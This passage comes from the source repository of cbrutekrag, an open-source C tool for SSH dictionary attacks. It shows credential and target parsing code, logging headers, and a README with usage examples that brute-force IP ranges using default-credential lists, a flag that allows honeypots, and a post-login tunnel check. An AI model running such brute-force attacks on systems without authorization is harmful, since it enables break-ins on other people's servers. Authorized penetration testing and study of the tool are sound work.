btkg_credentials_t structure to fill with parsed data. 38 | * 39 | * @return 0 on success, non-zero on failure. 40 | */ 41 | int btkg_credentials_parse(char *line, btkg_credentials_t *dst) 42 | { 43 | dst->username[0] = '\0'; 44 | dst->password[0] = '\0'; 45 | 46 | char *username = strtok(line, " "); 47 | if (username == NULL) 48 | return -1; 49 | btkg_str_copy(dst->username, username, LOGIN_NAME_MAX); 50 | 51 | char *password = strtok(NULL, "\n"); 52 | if (password == NULL) 53 | return 0; 54 | 55 | if (strcmp(password, g_blankpass_placeholder) != 0) 56 | btkg_str_copy(dst->password, password, LOGIN_PASS_MAX); 57 | 58 | return 0; 59 | } 60 | 61 | /** 62 | * @brief Initializes a btkg_credentials_list_t structure. 63 | * 64 | * @param credentials Pointer to the btkg_credentials_list_t structure to initialize. 65 | */ 66 | void btkg_credentials_list_init(btkg_credentials_list_t *credentials) 67 | { 68 | credentials->length = 0; 69 | credentials->credentials = NULL; 70 | } 71 | 72 | /** 73 | * @brief Loads credentials from a given file and appends them into the given 74 | * btkg_credentials_list_t. 75 | * 76 | * @param credentials_list Pointer to the btkg_credentials_list_t structure to append the loaded credentials to. 77 | * @param filename The name of the file to load the credentials from. 78 | */ 79 | void btkg_credentials_list_load(btkg_credentials_list_t *credentials_list, 80 | char *filename) 81 | { 82 | FILE *fp; 83 | ssize_t read; 84 | char *temp = NULL; 85 | size_t len = 0; 86 | 87 | fp = fopen(filename, "r"); 88 | if (fp == NULL) { 89 | log_error("Error opening file. (%s)", filename); 90 | return; 91 | } 92 | 93 | for (int lines = 1; (read = getline(&temp, &len, fp)) != -1; lines++) { 94 | temp[strcspn(temp, "\n\r")] = '\0'; 95 | 96 | btkg_credentials_t credentials; 97 | 98 | if (btkg_credentials_parse(temp, &credentials) != 0) { 99 | log_error("WARNING: Error parsing '%s' on line #%d", 100 | filename, lines); 101 | continue; 102 | } 103 | 104 | btkg_credentials_list_append(credentials_list, credentials); 105 | } 106 | 107 | free(temp); 108 | fclose(fp); 109 | } 110 | 111 | /** 112 | * @brief Appends a btkg_credentials_t structure into a given btkg_credentials_list_t. 113 | * 114 | * @param credentials_list Pointer to the btkg_credentials_list_t structure to append the credentials to. 115 | * @param new The btkg_credentials_t structure to append. 116 | */ 117 | void btkg_credentials_list_append(btkg_credentials_list_t *credentials_list, 118 | btkg_credentials_t new) 119 | { 120 | btkg_credentials_t *credentials = credentials_list->credentials; 121 | 122 | if (credentials == NULL) { 123 | credentials = malloc(sizeof(new)); 124 | *credentials = new; 125 | } else { 126 | credentials = 127 | realloc(credentials, 128 | sizeof(new) * (credentials_list->length + 1)); 129 | *(credentials + credentials_list->length) = new; 130 | } 131 | 132 | credentials_list->length = credentials_list->length + 1; 133 | credentials_list->credentials = credentials; 134 | } 135 | 136 | /** 137 | * @brief Frees the memory allocated for a btkg_credentials_list_t structure. 138 | * 139 | * @param credentials_list Pointer to the btkg_credentials_list_t structure to free. 140 | */ 141 | void btkg_credentials_list_destroy(btkg_credentials_list_t *credentials_list) 142 | { 143 | free(credentials_list->credentials); 144 | credentials_list->credentials = NULL; 145 | credentials_list->length = 0; 146 | } 147 | -------------------------------------------------------------------------------- /src/progress.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #include "cbrutekrag.h" 24 | #include 25 | #include 26 | 27 | #include "log.h" 28 | #include "progress.h" 29 | #include "progressbar.h" 30 | 31 | #define NANO_PER_SEC 1000000000L 32 | 33 | /** 34 | * @brief Formats time in seconds into hours, minutes, and seconds. 35 | * 36 | * This function takes a time value in seconds and breaks it down into 37 | * hours, minutes, and seconds. 38 | * 39 | * @param seconds Time value in seconds to format. 40 | * @param hours Pointer to store the computed hours. 41 | * @param minutes Pointer to store the computed minutes. 42 | * @param secs Pointer to store the computed seconds. 43 | */ 44 | static inline void format_time(double seconds, int *hours, int *minutes, 45 | int *secs) 46 | { 47 | *hours = (int)seconds / 3600; 48 | *minutes = ((int)seconds % 3600) / 60; 49 | *secs = (int)seconds % 60; 50 | } 51 | 52 | /** 53 | * @brief Calculates the elapsed time since a given start time. 54 | * 55 | * This function calculates the time elapsed since a given start time 56 | * using the `CLOCK_MONOTONIC` clock, which is unaffected by system time 57 | * changes. 58 | * 59 | * @param start Pointer to the starting time. 60 | * @return The elapsed time in seconds. 61 | */ 62 | double btkg_elapsed_time(struct timespec *start) 63 | { 64 | struct timespec end; 65 | clock_gettime(CLOCK_MONOTONIC, &end); 66 | return (double)(end.tv_sec - start->tv_sec) + 67 | ((double)(end.tv_nsec - start->tv_nsec) / NANO_PER_SEC); 68 | } 69 | 70 | /** 71 | * @brief Progress monitoring worker thread function. 72 | * 73 | * This function is executed by a separate thread to monitor the progress 74 | * of a task. It calculates and displays the estimated time remaining (ETR) 75 | * and the processing rate (items per second). The progress is updated every 76 | * second, and optionally, a progress bar can be displayed. 77 | * 78 | * @param ptr Pointer to the `btkg_progress_worker_args_t` structure containing 79 | * context information. 80 | * @return `NULL` upon completion. 81 | */ 82 | void *progress_worker(void *ptr) 83 | { 84 | btkg_progress_worker_args_t *args = (btkg_progress_worker_args_t *)ptr; 85 | btkg_context_t *context = args->context; 86 | btkg_options_t *options = &context->options; 87 | time_t start_time = time(NULL); 88 | time_t last_update_time = 0; 89 | size_t stats_len = 40; 90 | char stats[stats_len]; 91 | 92 | memset(&stats, 0, stats_len); 93 | 94 | struct timespec last_update = { 0 }; 95 | int suffix_len = 0; 96 | 97 | while (context->count < context->total) { 98 | time_t current_time = time(NULL); 99 | 100 | if (btkg_elapsed_time(&last_update) < 0.2) 101 | continue; 102 | 103 | if (difftime(current_time, last_update_time) >= 104 | 1.0) { // Update ETR every 1 sec 105 | double elapsed_time = 106 | difftime(current_time, start_time); 107 | 108 | if (context->count > 0 && elapsed_time > 0) { 109 | double rate = 110 | (double)context->count / elapsed_time; 111 | double remaining_time = 112 | ((double)(context->total - 113 | context->count)) / 114 | rate; 115 | 116 | int hours, minutes, seconds; 117 | format_time(remaining_time, &hours, &minutes, 118 | &seconds); 119 | 120 | suffix_len = 121 | snprintf( 122 | stats, stats_len, 123 | "ETR: %02d:%02d:%02d Rate: %.0f/sec", 124 | hours, minutes, seconds, rate) + 125 | 1; 126 | } 127 | 128 | // Actualizar el tiempo de la última llamada 129 | last_update_time = current_time; 130 | 131 | if (!options->progress_bar && stats[0] != '\0') 132 | log_info("%s", stats); 133 | } 134 | 135 | clock_gettime(CLOCK_MONOTONIC, &last_update); 136 | 137 | if (options->progress_bar) 138 | progressbar_render(context->count, context->total, 139 | stats, (size_t)suffix_len); 140 | } 141 | 142 | free(args); 143 | return NULL; 144 | } 145 | 146 | /** 147 | * @brief Starts the progress monitoring thread. 148 | * 149 | * This function creates and starts a new thread that runs the 150 | * `progress_worker` function to monitor the progress of a task. 151 | * 152 | * @param context Pointer to the `btkg_context_t` structure containing the 153 | * context information. 154 | * @param thread Pointer to a `pthread_t` structure that will hold the thread 155 | * identifier. 156 | */ 157 | void btkg_progress_watcher_start(btkg_context_t *context, pthread_t *thread) 158 | { 159 | int ret; 160 | btkg_progress_worker_args_t *args = 161 | malloc(sizeof(btkg_progress_worker_args_t)); 162 | 163 | if (args == NULL) { 164 | log_error("Cannot allocate progress watcher thread"); 165 | return; 166 | } 167 | 168 | args->context = context; 169 | 170 | if ((ret = pthread_create(thread, NULL, progress_worker, 171 | (void *)args))) { 172 | log_error("Thread creation failed: %d\n", ret); 173 | free(args); 174 | } 175 | } 176 | 177 | /** 178 | * @brief Waits for the progress monitoring thread to complete. 179 | * 180 | * This function blocks until the progress monitoring thread has completed 181 | * its execution. 182 | * 183 | * @param thread Pointer to the `pthread_t` structure holding the thread 184 | * identifier. 185 | */ 186 | void btkg_progress_watcher_wait(pthread_t *thread) 187 | { 188 | int ret = pthread_join(*thread, NULL); 189 | if (ret != 0) { 190 | log_error("Cannot join thread no: %d\n", ret); 191 | } 192 | } 193 | -------------------------------------------------------------------------------- /src/log.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifndef LOGGER_H 24 | #define LOGGER_H 25 | 26 | #include 27 | 28 | /** 29 | * @brief Logging levels. 30 | */ 31 | enum { 32 | LOG_TRACE, /**< Trace level for detailed debugging. */ 33 | LOG_DEBUG, /**< Debug level for general debugging information. */ 34 | LOG_INFO, /**< Info level for informational messages. */ 35 | LOG_WARN, /**< Warn level for warnings and potential issues. */ 36 | LOG_ERROR, /**< Error level for error messages. */ 37 | LOG_FATAL /**< Fatal level for critical errors that may cause termination. */ 38 | }; 39 | 40 | /** 41 | * @brief Log an error message with red color and file/line information. 42 | * 43 | * This macro calls `print_output` with the LOG_ERROR level, red color for 44 | * the message, and includes file and line information. 45 | * 46 | * @param ... Format string and arguments for the error message. 47 | */ 48 | #define log_error(...) \ 49 | print_output(LOG_ERROR, __FILE__, __LINE__, "\033[91m", "\033[0m", \ 50 | stderr, __VA_ARGS__) 51 | 52 | /** 53 | * @brief Log a warning message without color and with file/line information. 54 | * 55 | * This macro calls `print_output` with the LOG_WARN level and includes file 56 | * and line information. 57 | * 58 | * @param ... Format string and arguments for the warning message. 59 | */ 60 | #define log_warn(...) \ 61 | print_output(LOG_WARN, __FILE__, __LINE__, "", "", stderr, __VA_ARGS__) 62 | 63 | /** 64 | * @brief Log a debug message with gray color and file/line information. 65 | * 66 | * This macro calls `print_output` with the LOG_DEBUG level, gray color for 67 | * the message, and includes file and line information. 68 | * 69 | * @param ... Format string and arguments for the debug message. 70 | */ 71 | #define log_debug(...) \ 72 | print_output(LOG_DEBUG, __FILE__, __LINE__, "\033[37m", "\033[0m", \ 73 | stderr, __VA_ARGS__) 74 | 75 | /** 76 | * @brief Log an informational message without color and with no file/line 77 | * information. 78 | * 79 | * This macro calls `print_output` with the LOG_INFO level and writes to 80 | * stdout. 81 | * 82 | * @param ... Format string and arguments for the informational message. 83 | */ 84 | #define log_info(...) \ 85 | print_output(LOG_INFO, __FILE__, __LINE__, "", "", stdout, __VA_ARGS__) 86 | 87 | /** 88 | * @brief Print a formatted output message to a specified stream with optional 89 | * logging information such as file and line number. 90 | * 91 | * @param level The logging level of the message (e.g., LOG_DEBUG). 92 | * @param file The source file from which the log is coming. 93 | * @param line The line number in the source file. 94 | * @param head A prefix string to be printed before the log message. 95 | * @param tail A suffix string to be printed after the log message. 96 | * @param stream The output stream (e.g., stdout or stderr). 97 | * @param format The format string for the log message. 98 | * @param ... Additional arguments for the format string. 99 | */ 100 | void print_output(int level, const char *file, int line, const char *head, 101 | const char *tail, FILE *stream, const char *format, ...); 102 | 103 | /** 104 | * @brief Print a formatted output message with the current timestamp to a 105 | * specified stream. 106 | * 107 | * @param stream The output stream (e.g., stdout or stderr). 108 | * @param format The format string for the log message. 109 | * @param ... Additional arguments for the format string. 110 | */ 111 | void log_output(FILE *stream, const char *format, ...); 112 | 113 | /** 114 | * @brief Sets the logging verbosity level. 115 | * 116 | * This function sets the global logging verbosity level based on the given 117 | * level parameter. The verbosity level can be used to control the amount of 118 | * detail output in log messages. 119 | * 120 | * The verbosity level is typically a bitwise OR of different flags that 121 | * enable various levels of detail. For example, the following flags might 122 | * be combined: 123 | * - `CBRUTEKRAG_VERBOSE_MODE` (0x1): Enables basic verbose logging. 124 | * - `CBRUTEKRAG_VERBOSE_SSHLIB` (0x2): Enables verbose logging for the SSH library. 125 | * 126 | * Example usage: 127 | * @code 128 | * options->verbose |= CBRUTEKRAG_VERBOSE_MODE; 129 | * log_set_level(options->verbose); 130 | * @endcode 131 | * 132 | * @param level The verbosity level to set. This is typically a combination of 133 | * flags defined as bitwise values (e.g., `CBRUTEKRAG_VERBOSE_MODE`). 134 | */ 135 | void log_set_level(int level); 136 | 137 | /** 138 | * @brief Log a successful login attempt with details formatted according to 139 | * a global output format string. 140 | * 141 | * @param stream The output stream (e.g., stdout or stderr). 142 | * @param hostname The hostname or IP address where the login was successful. 143 | * @param port The port number used in the login attempt. 144 | * @param username The username used in the login attempt. 145 | * @param password The password used in the login attempt. 146 | */ 147 | void btkg_log_successfull_login(FILE *stream, const char *format, 148 | const char *hostname, int port, 149 | const char *username, const char *password); 150 | 151 | /** 152 | * @brief Log elegible target found with detailed information formatted 153 | * according to a global output format string. 154 | * 155 | * @param stream The output stream (e.g., stdout or stderr). 156 | * @param hostname The hostname or IP address where the login was successful. 157 | * @param port The port number used in the login attempt. 158 | * @param banner The server banner. 159 | * @param password The password used in the login attempt. 160 | */ 161 | void btkg_log_target_found(FILE *stream, const char *format, 162 | const char *hostname, int port, const char *banner); 163 | 164 | #endif // LOGGER_H 165 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![license](https://img.shields.io/github/license/matricali/cbrutekrag.svg)](https://matricali.mit-license.org/2014) 2 | [![GitHub contributors](https://img.shields.io/github/contributors/matricali/cbrutekrag.svg)](https://github.com/matricali/cbrutekrag/graphs/contributors) [![Build](https://github.com/matricali/cbrutekrag/actions/workflows/build.yml/badge.svg)](https://github.com/matricali/cbrutekrag/actions/workflows/build.yml) 3 | [![Static Build](https://github.com/matricali/cbrutekrag/actions/workflows/static-build.yml/badge.svg)](https://github.com/matricali/cbrutekrag/actions/workflows/static-build.yml) 4 | [![Windows Build](https://github.com/matricali/cbrutekrag/actions/workflows/windows-build.yml/badge.svg?branch=master)](https://github.com/matricali/cbrutekrag/actions/workflows/windows-build.yml) 5 | [![Latest stable release](https://img.shields.io/badge/dynamic/json.svg?label=stable&url=https%3A%2F%2Fapi.github.com%2Frepos%2Fmatricali%2Fcbrutekrag%2Freleases%2Flatest&query=%24.name&colorB=blue)](https://github.com/matricali/cbrutekrag/releases/latest) 6 | 7 | # cbrutekrag 8 | Penetration tests on SSH servers using dictionary attacks. Written in _C_. 9 | 10 | > _brute krag_ means "brute force" in afrikáans 11 | 12 | ## Disclaimer 13 | >This tool is for ethical testing purpose only. 14 | >cbrutekrag and its owners can't be held responsible for misuse by users. 15 | >Users have to act as permitted by local law rules. 16 | 17 | ## Run 18 | 19 | ```bash 20 | $ cbrutekrag -h 21 | _ _ _ 22 | | | | | | | 23 | ___ | |__ _ __ _ _| |_ ___| | ___ __ __ _ __ _ 24 | / __|| '_ \| '__| | | | __/ _ \ |/ / '__/ _` |/ _` | 25 | | (__ | |_) | | | |_| | || __/ <| | | (_| | (_| | 26 | \___||_.__/|_| \__,_|\__\___|_|\_\_| \__,_|\__, | 27 | OpenSSH Brute force tool 0.6.0 __/ | 28 | (c) Copyright 2014-2024 Jorge Matricali |___/ 29 | 30 | https://github.com/matricali/cbrutekrag 31 | 32 | 33 | usage: ./cbrutekrag [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C credentials.lst] 34 | [-t THREADS] [-f OUTPUT FORMAT] [-o OUTPUT.txt] [-F SCAN OUTPUT FORMAT] [-O SCAN_OUTPUT.txt] [TARGETS...] 35 | 36 | -h, --help This help 37 | -v, --verbose Verbose mode 38 | -V, --verbose-sshlib Verbose mode (sshlib) 39 | -s, --scan Scan mode 40 | -D, --dry-run Dry run 41 | -P, --progress Progress bar 42 | -T, --targets Targets file 43 | -C, --credentials Username and password file 44 | -t, --threads Max threads 45 | -o, --output Output log file 46 | -F, --format Output log format 47 | Available placeholders: 48 | %DATETIME%, %HOSTNAME% 49 | %PORT%, %USERNAME%, %PASSWORD% 50 | -O, --scan-output Output log file for scanner 51 | -F, --scan-format Output log format for scanner 52 | Available placeholders: 53 | %DATETIME%, %HOSTNAME% 54 | %PORT%, %BANNER%. 55 | Default: 56 | "%HOSTNAME%:%PORT%\t%BANNER%\n" 57 | -a, --allow-non-openssh Accepts non OpenSSH servers 58 | -A, --allow-honeypots Allow servers detected as honeypots 59 | --timeout Sets connection timeout (Default: 3) 60 | --check-http Tries to open a TCP Tunnel after successful login 61 | ``` 62 | 63 | ## Example usages 64 | ```bash 65 | cbrutekrag -T targets.txt -C combinations.txt -o result.log 66 | cbrutekrag -s -t 8 -C combinations.txt -o result.log 192.168.1.0/24 67 | ``` 68 | 69 | ### Supported targets syntax 70 | 71 | * 192.168.0.1 72 | * 10.0.0.0/8 73 | * 192.168.100.0/24:2222 74 | * 127.0.0.1:2222 75 | 76 | ### Combinations file format 77 | ``` 78 | root root 79 | root password 80 | root $BLANKPASS 81 | $TARGET root 82 | root $TARGET 83 | ``` 84 | 85 | #### Combinations file placeholders 86 | 87 | |Placeholder|Purpose|As password| As username| 88 | |------------|------|-----------|------------| 89 | |$BLANKPASS|Blank password|✔️|-| 90 | |$TARGET|Use hostname or IP as a password|✔️|✔️| 91 | 92 | ### Customizable output format 93 | 94 | Output format can be easily customizable using the command line option `-f` 95 | 96 | Example: `./cbrutekrag -f "%HOSTNAME%:%PORT%|%USERNAME%|%PASSWORD%\n"`, which 97 | produces an output like: 98 | 99 | ``` 100 | 192.168.0.100:22|root|toor 101 | 192.168.0.105:22|ubnt|ubnt 102 | ``` 103 | 104 | #### Default value 105 | 106 | `%DATETIME%\t%HOSTNAME%:%PORT%\t%USERNAME%\t%PASSWORD%\n` 107 | 108 | ``` 109 | 2024/04/01 13:05:13 192.168.0.100:22 root admin 110 | ``` 111 | 112 | #### Placeholders 113 | 114 | |Placeholder|Description |Example | 115 | |-----------|----------------------------------|-------------------| 116 | |%DATETIME% |Replaced by `Y/m/d HH:ii:ss` date |2024/04/01 12:46:27| 117 | |%HOSTNAME% |Replaced by hostname or IPv4 |192.168.0.100 | 118 | |%PORT% |Replaced by connection port |22 | 119 | |%USERNAME% |Replaced by username used |root | 120 | |%PASSWORD% |Replaced by password used |admin | 121 | |\n |Replaced by LF | | 122 | |\t |Replaced by TAB | | 123 | 124 | ### Customizable output format for scanner 125 | 126 | Output format can be easily customizable using the command line option `-F` 127 | 128 | Example: `./cbrutekrag -F "%HOSTNAME%\t%PORT%\t%BANNER%\n"`, which 129 | produces an output like: 130 | 131 | ``` 132 | 192.168.0.100 22 SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u2 133 | 192.168.0.105 22 SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2 134 | ``` 135 | 136 | #### Default value 137 | 138 | `%HOSTNAME%:%PORT%\t%BANNER%\n` 139 | 140 | ``` 141 | 192.168.0.100:22 SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2 142 | ``` 143 | 144 | #### Placeholders 145 | 146 | |Placeholder|Description |Example | 147 | |-----------|----------------------------------|-------------------| 148 | |%DATETIME% |Replaced by `Y/m/d HH:ii:ss` date |2024/04/01 12:46:27| 149 | |%HOSTNAME% |Replaced by hostname or IPv4 |192.168.0.100 | 150 | |%PORT% |Replaced by connection port |22 | 151 | |%BANNER% |Replaced by server banner |SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2| 152 | |\n |Replaced by LF | | 153 | |\t |Replaced by TAB | | 154 | 155 | ## Requirements 156 | **cbrutekrag** uses **libssh** - The SSH Library (http://www.libssh.org/) 157 | 158 | ## Build 159 | 160 | Requirements: 161 | 162 | * `make` 163 | * `gcc` compiler 164 | * `libssh-dev` 165 | 166 | ```bash 167 | git clone --depth=1 https://github.com/matricali/cbrutekrag.git 168 | cd cbrutekrag 169 | make 170 | make install 171 | ``` 172 | 173 | ## Static build 174 | 175 | Requirements: 176 | 177 | * `cmake` 178 | * `gcc` compiler 179 | * `make` 180 | * `libssl-dev` 181 | * `libz-dev` 182 | 183 | ```bash 184 | git clone --depth=1 https://github.com/matricali/cbrutekrag.git 185 | cd cbrutekrag 186 | bash static-build.sh 187 | make install 188 | ``` 189 | -------------------------------------------------------------------------------- /src/target.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge Matricali 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. 21 | */ 22 | 23 | #ifdef _WIN32 24 | #include 25 | #include 26 | #ifdef _MSC_VER 27 | #pragma comment(lib, "ws2_32.lib") 28 | #endif // _MSC_VER 29 | #else 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #endif 36 | 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | #include "compat.h" 43 | #include "iprange.h" 44 | #include "log.h" 45 | #include "target.h" 46 | 47 | #ifdef _WIN32 48 | #define close closesocket 49 | #define ssize_t SSIZE_T 50 | #endif 51 | 52 | #define MAX_PORT 65535 53 | #define DEFAULT_PORT 22 54 | 55 | /** 56 | * @brief Check if a given port number is valid. 57 | * 58 | * @param port The port number to check. 59 | * 60 | * @return 1 if the port is valid (between 1 and 65535), otherwise 0. 61 | */ 62 | int btkg_target_port_is_valid(const long port) 63 | { 64 | return port >= 1 && port <= MAX_PORT; 65 | } 66 | 67 | /** 68 | * @brief Initialize a btkg_target_list_t structure. 69 | * 70 | * @param target_list Pointer to the target list to initialize. 71 | */ 72 | void btkg_target_list_init(btkg_target_list_t *target_list) 73 | { 74 | target_list->length = 0; 75 | target_list->targets = NULL; 76 | } 77 | 78 | /** 79 | * @brief Allocate and initialize a new btkg_target_list_t structure. 80 | * 81 | * @return Pointer to the newly allocated btkg_target_list_t structure, 82 | * or NULL if the allocation fails. 83 | */ 84 | btkg_target_list_t *btkg_target_list_create(void) 85 | { 86 | btkg_target_list_t *targets = malloc(sizeof(btkg_target_list_t)); 87 | 88 | if (targets != NULL) 89 | btkg_target_list_init(targets); 90 | 91 | return targets; 92 | } 93 | 94 | /** 95 | * @brief Destroy and free a btkg_target_list_t structure. 96 | * 97 | * @param target_list Pointer to the target list to destroy. 98 | */ 99 | void btkg_target_list_destroy(btkg_target_list_t *target_list) 100 | { 101 | if (target_list == NULL) { 102 | return; 103 | } 104 | 105 | for (size_t i = 0; i < target_list->length; i++) { 106 | if (target_list->targets[i].host != NULL) { 107 | free(target_list->targets[i].host); 108 | } 109 | } 110 | 111 | free(target_list->targets); 112 | target_list->length = 0; 113 | target_list->targets = NULL; 114 | } 115 | 116 | /** 117 | * @brief Parse a target string and create a btkg_target_t structure. 118 | * 119 | * @param line The target string (e.g., "192.168.1.1:8080"). 120 | * 121 | * @return Pointer to the newly created btkg_target_t structure, 122 | * or NULL if the string is invalid. 123 | * 124 | * @note Exits the program with an error message if memory allocation fails. 125 | */ 126 | btkg_target_t *btkg_target_parse(char *line) 127 | { 128 | btkg_target_t *ret = malloc(sizeof(btkg_target_t)); 129 | if (ret == NULL) { 130 | perror("malloc"); 131 | exit(EXIT_FAILURE); 132 | } 133 | 134 | ret->host = NULL; 135 | ret->port = DEFAULT_PORT; 136 | 137 | char *ptr = strtok(line, ":"); 138 | 139 | if (ptr != NULL) { 140 | ret->host = strdup(ptr); 141 | if (ret->host == NULL) { 142 | perror("strdup"); 143 | free(ret); 144 | exit(EXIT_FAILURE); 145 | } 146 | 147 | ptr = strtok(NULL, ":"); 148 | if (ptr != NULL) { 149 | char *endptr; 150 | long port = strtol(ptr, &endptr, 10); 151 | if (*endptr != '\0' || 152 | !btkg_target_port_is_valid(port)) { 153 | log_error("WARNING: Invalid port (%s)", ptr); 154 | free(ret->host); 155 | free(ret); 156 | return NULL; 157 | } 158 | ret->port = (uint16_t)port; 159 | } 160 | } 161 | 162 | return ret; 163 | } 164 | 165 | /** 166 | * @brief Append a btkg_target_t structure to a btkg_target_list_t. 167 | * 168 | * @param target_list Pointer to the target list. 169 | * @param target Pointer to the target to append. 170 | */ 171 | void btkg_target_list_append(btkg_target_list_t *target_list, 172 | btkg_target_t *target) 173 | { 174 | btkg_target_t *new_targets = 175 | realloc(target_list->targets, 176 | sizeof(btkg_target_t) * (target_list->length + 1)); 177 | 178 | if (new_targets == NULL) { 179 | perror("realloc"); 180 | exit(EXIT_FAILURE); 181 | } 182 | 183 | target_list->targets = new_targets; 184 | target_list->targets[target_list->length] = *target; 185 | target_list->length++; 186 | } 187 | 188 | /** 189 | * @brief Parse a CIDR block and append all addresses in the range as 190 | * btkg_target_t structures to the given btkg_target_list_t. 191 | * 192 | * @param target_list Pointer to the target list. 193 | * @param range The CIDR block string (e.g., "192.168.1.0/24"). 194 | * @param port The port number to use for all targets. 195 | */ 196 | void btkg_target_list_append_range(btkg_target_list_t *target_list, 197 | const char *range, uint16_t port) 198 | { 199 | char *netmask_s = strchr(range, '/'); 200 | 201 | if (netmask_s == NULL) { 202 | btkg_target_t *target = malloc(sizeof(btkg_target_t)); 203 | if (target == NULL) { 204 | perror("malloc"); 205 | exit(EXIT_FAILURE); 206 | } 207 | target->host = strdup(range); 208 | if (target->host == NULL) { 209 | perror("strdup"); 210 | free(target); 211 | exit(EXIT_FAILURE); 212 | } 213 | target->port = port; 214 | btkg_target_list_append(target_list, target); 215 | free(target); 216 | return; 217 | } 218 | 219 | struct in_addr in; 220 | in_addr_t lo, hi; 221 | network_addr_t netaddr = str_to_netaddr(range); 222 | lo = netaddr.addr; 223 | hi = broadcast(netaddr.addr, netaddr.pfx); 224 | 225 | for (in_addr_t x = lo; x < hi; x++) { 226 | in.s_addr = htonl(x); 227 | btkg_target_t *new_target = malloc(sizeof(btkg_target_t)); 228 | if (new_target == NULL) { 229 | perror("malloc"); 230 | exit(EXIT_FAILURE); 231 | } 232 | new_target->host = strdup(inet_ntoa(in)); 233 | if (new_target->host == NULL) { 234 | perror("strdup"); 235 | free(new_target); 236 | exit(EXIT_FAILURE); 237 | } 238 | new_target->port = port; 239 | btkg_target_list_append(target_list, new_target); 240 | free(new_target); 241 | } 242 | } 243 | 244 | /** 245 | * @brief Load targets from a given file and append them into the 246 | * given btkg_target_list_t. 247 | * 248 | * @param target_list Pointer to the target list. 249 | * @param filename The path to the file containing target definitions. 250 | */ 251 | void btkg_target_list_load(btkg_target_list_t *target_list, 252 | const char *filename) 253 | { 254 | FILE *fp = fopen(filename, "r"); 255 | if (fp == NULL) { 256 | perror("fopen"); 257 | log_error("Error opening file. (%s)", filename); 258 | exit(EXIT_FAILURE); 259 | } 260 | 261 | char *line = NULL; 262 | size_t len = 0; 263 | ssize_t read; 264 | int lines = 0; 265 | 266 | while ((read = getline(&line, &len, fp)) != -1) { 267 | strtok(line, "\n\r"); 268 | btkg_target_t *ret = btkg_target_parse(line); 269 | 270 | if (ret == NULL) { 271 | log_error( 272 | "WARNING: An error occurred parsing '%s' on line #%d", 273 | filename, lines); 274 | } else { 275 | btkg_target_list_append_range(target_list, ret->host, 276 | ret->port); 277 | } 278 | 279 | lines++; 280 | } 281 | 282 | free(line); 283 | fclose(fp); 284 | } 285 | -------------------------------------------------------------------------------- /src/log.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2014-2024 Jorge 